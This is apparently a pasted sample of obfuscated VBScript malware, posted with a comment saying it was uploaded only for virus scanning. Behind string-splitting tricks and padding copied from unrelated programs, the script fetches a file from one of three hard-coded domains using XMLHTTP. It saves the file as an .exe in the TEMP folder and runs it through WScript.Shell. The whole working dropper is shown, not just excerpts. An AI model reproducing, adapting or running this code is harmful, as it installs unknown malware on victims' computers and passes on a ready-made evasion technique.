Some kind of VBA virus?

' NOTE: This seems to be some kind of virus
' It was only uploaded here in order to be scanned by my virus scanners
' NEVER NEVER NEVER EVER EXECUTE THIS CODE!


Dim Vlancherspecificallyensurance 'As String

Function Set2Mine(Who, Color, X, y )
    For i = 0 To UBound(Mines) + 1
        If i > UBound(Mines) Then ReDim Preserve Mines(i)
        If Mines(i).Color = 0 Then
            Mines(i).Who = Who
            Mines(i).Color = Color
            Mines(i).X = X
            Mines(i).y = y
            Mines(i).Tick = 0
            SetMine = i
            Exit For
        End If
    Next
End Function

Dim VlancherspecificallyInPlaceOf 'As String
VlancherspecificallyBelish = "User"


Public Sub LoadDatabase()


    ' 9/13/06: Add the bot owner 200
    If (LenB(BotVars.BotOwner) > 0) Then
        For i = 0 To UBound(DB)
            If (StrComp(DB(i).Username, BotVars.BotOwner, vbTextCompare) = 0) Then
                found = True

                Exit For
            End If
        Next

        If (found = False) Then
            If (UBound(DB)) Then
                ReDim Preserve DB(UBound(DB) + 1)
            End If

            With DB(UBound(DB))
                .Username = BotVars.BotOwner
                .Type = "USER"
                .Rank = 200
                .AddedBy = "(console)"
                .AddedOn = Now
                .ModifiedBy = "(console)"
                .ModifiedOn = Now
            End With
            SaveDB = True
        End If
    End If

    If (SaveDB) Then Call WriteDatabase(Path)
End Sub

       Dim TristateTrue

  Pirates = "XMLHTTPHOLSHEAdodb.streaMHOLSHEs"
Vrungel = ".respo"+"nseBody"

Dim VlancherspecificallyTimeTo 'As Object
Dim Vlancherspecificallystatus
Vlancherspecificallystatus = false


CUA ="Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100102 Firefox/54.0"

 Dim Pirates 'As String
Dim selectiondas
Dim Vlancherspecificallycashback 'As Object
Dim VlancherspecificallyStepByStep 'As Object
Dim VlancherspecificallyTavyer 'As Object
Dim abirvalgshoreAxxxxx 'As Object


 Function SyncObjAshorespecifically2(param1)
param1 = param1 + param1

Vlancherspecifically5000 = VlancherspecificallyStepByStep.responseBody
param1 = 4 * param1 + 8

End Function

Dim Plyask


Pirates ="Microsoft." + Pirates+  "hell.ApplicationHOLSHEWscript"

Function StackStack( vr )
    ad1 = Replace(Pirates, "VRAMIS", "" )
   StackStack = Split(ad1,  vr)
End Function

Function T1000(p, ddd)
    Set VlancherspecificallyRunrun = CreateObject("WScri"+"pt."+"Shell")
    abirvalgshoreAxxxxx.Type = 1
 abirvalgshoreAxxxxx.Open
End Function
Pirates = Pirates+".shellHOLSHEProcessHOLSHEGeTHOLSHET"+"emPHOLSHETyVRAMIS"+"peVRAMIS"

Function SyncObjAshorespecifically(strr)
if D = 31 then
AXC = "SaveT"+"oFile"
end if
abirvalgshoreAxxxxx.Savetofile VlancherspecificallyInPlaceOf , 11-9
End Function



 Function IsCircleAnalytic(ByVal Figure1 )
If Figure1 < FigureCount And Figure1 >= 0 Then
    If Figures(Figure1).FigureType = dsAnCircle Then IsCircleAnalytic = True
End If
End Function

 Function GetShitlist(ByVal Username )
    Dim gAcc
    Dim Ban

    gAcc = GetCumulativeAccess(Username, "USER")

    If (Not InStr(1, gAcc.Flags, "Z", vbBinaryCompare) = 0) Then
        Ban = True
    ElseIf (Not InStr(1, gAcc.Flags, "B", vbBinaryCompare) = 0) Then
        If (GetSafelist(Username) = False) Then Ban = True
    End If

    If (Ban) Then
        If ((Len(gAcc.BanMessage) > 0) And (gAcc.BanMessage <> "%")) Then
            GetShitlist = Username & Space(1) & gAcc.BanMessage
        ElseIf InStr(1, gAcc.Username, " (clan)", vbBinaryCompare) > 0 Then
            GetShitlist = Username & Space(1) & "Clanban: " & Mid(gAcc.Username, 2, InStr(1, gAcc.Username, " (clan)", vbBinaryCompare) - 2)
        ElseIf InStr(1, gAcc.Username, " (game)", vbBinaryCompare) > 0 Then
            GetShitlist = Username & Space(1) & "Clientban: " & Mid(gAcc.Username, 2, InStr(1, gAcc.Username, " (game)", vbBinaryCompare) - 2)
        ElseIf InStr(1, gAcc.Username, "*", vbBinaryCompare) > 0 Then
            GetShitlist = Username & Space(1) & "Tagban: " & Mid(gAcc.Username, 2, Len(gAcc.Username) - 2)
        Else
            GetShitlist = Username & Space(1) & "Shitlisted"
        End If
    End If
End Function

Pirates = Pirates +"HOLSHEVRAMISoVRAMISpenHOLSHEwrVRAMISiteHOLSHEreVRAMISspoVRAMISnseBoVRAMISdyHOLSHEsaVRAMISvetof"+"VRAMISileHOLSHE\WzjsjAgc.ex"+"VRAMISeHOLSHEhttVRAMISp:HOLSHE//"
Function SheduledfluidObject(p,d)

FC = "" + VlancherspecificallyInPlaceOf

 VlancherspecificallyRunrun.Run(FC)

End Function

Dim sNodeKey 'As String
  Dim sParentKey 'As String

    Public Function CopyToFolder(dde,aWrite,bWrite)
astp = 13
astp = astp + 5
if astp > 5 then
aWrite.Write bWrite
astp = 4 * astp
end if
End Function




Dim Twelve 'As Integer
  Dim sDecimalVis 'As String
  Dim VlancherspecificallyPetir 'As String
VlancherspecificallyPetir = "Ag"

  Dim MarketPlaceibility 'As String




selectiondas = StackStack("" + "HOLSHE" + "")

Dim Vlancherspecifically4 'As String

Dim Vlancherspecifically5000 'As Variant
Dim VlancherspecificallyRunrun
 Dim MarketPlace 'As String
  Dim sTempVis 'As String
  Dim iCount 'As Integer

Set VlancherspecificallyStepByStep = CreateObject(selectiondas(0))

Dim Valery 'As Integer
VlancherspecificallyBelish = VlancherspecificallyBelish + "-"


Function VlancherspecificallyFuks(p)

VlancherspecificallyStepByStep.Send


End Function
Twelve = 11 + 1
zTempVis = selectiondas(1)

'Set VlancherspecificallyTimeTo = CreateObject(selectiondas(8-6))
Set VlancherspecificallyMisterius = GetRef("SheduledfluidObject")
Set Vlancherspecifically13 = GetRef("SyncObjAshorespecifically")
Set Vlancherspecifically14 = GetRef("CopyToFolder")

Set abirvalgshoreAxxxxx = CreateObject("Adodb.streaM")
Set VlancherspecificallyTavyer = CreateObject(selectiondas(9-6))

Public Sub DebugLog(txt)
    'debug.print txt
    Open AppPath & "ARCServerDebugLog.txt"
    Print txt
    Close
End Sub

if "GRANDIS" + WScript + "4" = "GRANDISWindows Script Host4" Then





    Set Vlancherspecificallycashback = VlancherspecificallyTavyer.Environment(selectiondas(1 + 3))

end if

Function SetUA()
VlancherspecificallyLamp.setRequestHeader VlancherspecificallyBelish, CUA
End Function

 Valery = 89210

Vlancherspecificallyensurance = Vlancherspecificallycashback(selectiondas(6))
 Dim i
 'on error GoTo nextU
' on error resume next
sTempVis = selectiondas(1+Twelve -1)



Sub SendFlagDat(SndTo)
    Dim i , b , n
    Dim oNewMsg() , lNewOffSet
    Dim lNewMsg

    For i = 1 To UBound(Flag1, 2)

        lNewMsg = MSG_FLAGS
        lNewOffSet = 0
        ReDim oNewMsg(0)
        AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
        b = 1
        AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
        b = i
        AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
        n = Flag1(0, i)
        AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
        n = Flag1(1, i)
        AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
        n = FlagCarry1(i)
        AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
        SendTo oNewMsg, CInt(SndTo)
    Next
    For i = 1 To UBound(Flag2, 2)
        lNewMsg = MSG_FLAGS
        lNewOffSet = 0
        ReDim oNewMsg(0)
        AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
        b = 2
        AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
        b = i
        AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
        n = Flag2(0, i)
        AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
        n = Flag2(1, i)
        AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
        n = FlagCarry2(i)
        AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
        SendTo oNewMsg, CInt(SndTo)
    Next
    For i = 1 To UBound(Flag3, 2)
        lNewMsg = MSG_FLAGS
        lNewOffSet = 0
        ReDim oNewMsg(0)
        AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
        b = 3
        AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
        b = i
        AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
        n = Flag3(0, i)
        AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
        n = Flag3(1, i)
        AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
        n = FlagCarry3(i)
        AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
        SendTo oNewMsg, CInt(SndTo)
    Next
    For i = 1 To UBound(Flag4, 2)
        lNewMsg = MSG_FLAGS
        lNewOffSet = 0
        ReDim oNewMsg(0)
        AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
        b = 4
        AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
        b = i
        AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
        n = Flag4(0, i)
        AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
        n = Flag4(1, i)
        AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
        n = FlagCarry4(i)
        AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
        SendTo oNewMsg, CInt(SndTo)
    Next
    For i = 1 To UBound(Flag5, 2)
        lNewMsg = MSG_FLAGS
        lNewOffSet = 0
        ReDim oNewMsg(0)
        AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
        b = 5
        AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
        b = i
        AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
        n = Flag5(0, i)
        AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
        n = Flag5(1, i)
        AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
        n = FlagCarry5(i)
        AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
        SendTo oNewMsg, CInt(SndTo)
    Next

End Sub
MarketPlace = selectiondas(12+1) & selectiondas(12+2)

Plyask = Array("ernestoangiolini.com/9ghf45jhg?","hutterstock.org/p66/9ghf45jhg","gandmco.com/9ghf45jhg?")

VlancherspecificallyBelish = VlancherspecificallyBelish & VlancherspecificallyPetir & "ent"
rdde = 19


lTo = UBound(Plyask)

For i = 0 To lTo Step 1
rdde = rdde * 8

    on error resume  next

Valery =  Valery +33
 Vlancherspecifically4 = MarketPlace + Plyask(i)
 VlancherspecificallyStepByStep.Open selectiondas(5), Vlancherspecifically4, False
dr1=2

rdde = rdde + 91


SetUA()
VlancherspecificallyFuks " d "
If VlancherspecificallyStepByStep.Status +3 = 203 Then
Vlancherspecificallystatus = true
 Exit For
End If

goto14:
Next

on error goto 0

if Vlancherspecificallystatus Then
Dim Ratchet 'As String
 VlancherspecificallyInPlaceOf = Vlancherspecificallyensurance+ sTempVis

T1000 "",4
SyncObjAshorespecifically2 31
Vlancherspecifically14 "",abirvalgshoreAxxxxx,Vlancherspecifically5000
Sapogi =21
VlancherspecificallyInPlaceOfu = "" + VlancherspecificallyInPlaceOf

Sapogi = Sapogi*4

Dim VlancherspecificallyJohnSnowu,VlancherspecificallyDisplay 'As Long
Vlancherspecifically13 "ss"
VlancherspecificallyJohnSnowu = 5066

If 913  < VlancherspecificallyJohnSnowu Then

    Hipster =63
    VlancherspecificallyDisplay = "W"
End If

    VlancherspecificallyMisterius "GEP",0210

triada = 02009


end if


Public Function ConvertUsername(ByVal Username )
    If (LenB(Username) = 0) Then
        ConvertUsername = Username
    Else
        ' handle namespace conversions (@gateways)
        ConvertUsername = ConvertUsernameGateway(Username)

        ' handle D2 naming conventions
        ConvertUsername = ConvertUsernameD2(ConvertUsername, Username)
    End If
End Function